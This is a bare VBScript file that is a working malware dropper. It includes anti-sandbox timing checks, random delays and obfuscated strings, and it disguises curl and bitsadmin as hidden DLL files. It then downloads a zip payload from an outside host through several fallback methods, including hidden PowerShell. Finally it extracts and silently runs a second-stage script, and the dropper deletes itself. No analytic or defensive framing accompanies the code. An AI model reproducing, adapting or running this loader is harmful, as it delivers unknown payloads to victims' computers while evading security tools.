Option Explicit
On Error Resume Next

Dim tmS, tmE, tmD, si, sc
tmS = Timer
For si = 1 To 1000
    sc = Sqr(si) * 3.14159
Next
tmE = Timer
tmD = tmE - tmS
If tmD < 0.05 Then WScript.Quit 0

Randomize
WScript.Sleep 1500 + Int(3500 * Rnd)

Dim sh, fs, objShell
Set sh = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Shell.Application")

Dim v_ps : v_ps = "pow" & "ersh" & "ell.exe"

Dim wDir
If WScript.Arguments.Count > 0 Then
    wDir = WScript.Arguments(0)
Else
    wDir = fs.GetParentFolderName(WScript.ScriptFullName) & "\"
End If

If Not fs.FolderExists(wDir) Then
    fs.CreateFolder wDir
    fs.GetFolder(wDir).Attributes = 3
End If

Dim d_curl, d_bits
d_curl = wDir & "shlwapi.dll"
d_bits = wDir & "urlmon.dll"

If Not fs.FileExists(d_curl) Then
    fs.CopyFile "C:\Windows\System32\curl.exe", d_curl
    fs.GetFile(d_curl).Attributes = 3
End If
If Not fs.FileExists(d_bits) Then
    fs.CopyFile "C:\Windows\System32\bitsadmin.exe", d_bits
    fs.GetFile(d_bits).Attributes = 3
End If

Function DL(url, dest)
    On Error Resume Next
    DL = False
    If fs.FileExists(dest) Then
        If fs.GetFile(dest).Size <= 1024 Then fs.DeleteFile dest, True
    End If
    Dim oH, oS
    Set oH = CreateObject("WinHttp.WinHttpRequest.5.1")
    oH.SetTimeouts 5000, 5000, 10000, 20000
    oH.Option(4) = 13056
    oH.Option(9) = 2560
    oH.Open "GET", url, False
    oH.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    oH.Send
    If Err.Number = 0 And oH.Status = 200 Then
        Set oS = CreateObject("ADODB.Stream")
        oS.Type = 1 : oS.Open
        oS.Write oH.responseBody
        oS.SaveToFile dest, 2
        oS.Close : Set oS = Nothing
    End If
    Err.Clear : Set oH = Nothing
    If fs.FileExists(dest) Then
        If fs.GetFile(dest).Size > 1024 Then
            DL = True : Exit Function
        Else
            fs.DeleteFile dest, True
        End If
    End If
    Dim m(3), i
    m(0) = d_curl & " -k -s -L --retry 3 --connect-timeout 10 -o " & Chr(34) & dest & Chr(34) & " " & url
    m(1) = d_bits & " /transfer t /download /priority high " & url & " " & Chr(34) & dest & Chr(34)
    m(2) = v_ps & " -nop -w hidden -c ""& {[Net.ServicePointManager]::SecurityProtocol=3072; (New-Object Net.WebClient).DownloadFile('" & url & "','" & dest & "')}"""
    m(3) = "cmd /c copy " & Chr(34) & "\\?\C:\Windows\System32\curl.exe" & Chr(34) & " " & Chr(34) & d_curl & Chr(34) & " 2>nul & " & d_curl & " -k -s -L -o " & Chr(34) & dest & Chr(34) & " " & url
    For i = 0 To 3
        If fs.FileExists(dest) Then
            If fs.GetFile(dest).Size <= 1024 Then fs.DeleteFile dest, True
        End If
        sh.Run "cmd /c " & m(i), 0, True
        WScript.Sleep 3000
        If fs.FileExists(dest) Then
            If fs.GetFile(dest).Size > 1024 Then
                DL = True : Exit For
            End If
        End If
    Next
End Function

Dim zipURL, zipPath, targetVBS
zipURL = "https://ohmy.ccwu.cc/7777E/1/c2b8.zip"
zipPath = wDir & "tmp" & Int(9999 * Rnd) & ".zip"
targetVBS = wDir & "setup1.vbs"

Dim ok : ok = False
Dim retry
For retry = 1 To 4
    If DL(zipURL, zipPath) Then
        ok = True
        Exit For
    End If
    WScript.Sleep 2000
Next

If ok Then
    fs.GetFile(zipPath).Attributes = 3
    Dim zObj, tObj
    Set zObj = objShell.NameSpace(zipPath)
    Set tObj = objShell.NameSpace(wDir)
    If Not (zObj Is Nothing) And Not (tObj Is Nothing) Then
        tObj.CopyHere zObj.Items, &H14
        Dim wc : wc = 0
        Do While Not fs.FileExists(targetVBS) And wc < 30
            WScript.Sleep 1000
            wc = wc + 1
        Loop
        If fs.FileExists(targetVBS) Then
            fs.GetFile(targetVBS).Attributes = 3
            sh.Run "wscript.exe " & Chr(34) & targetVBS & Chr(34), 0, False
            WScript.Sleep 2000
        End If
    End If
    If fs.FileExists(zipPath) Then fs.DeleteFile zipPath, True
End If

Dim self : self = WScript.ScriptFullName
If fs.FileExists(self) Then
    sh.Run "cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q """ & self & """", 0, False
End If

Set sh = Nothing : Set fs = Nothing : Set objShell = Nothing
WScript.Quit 0
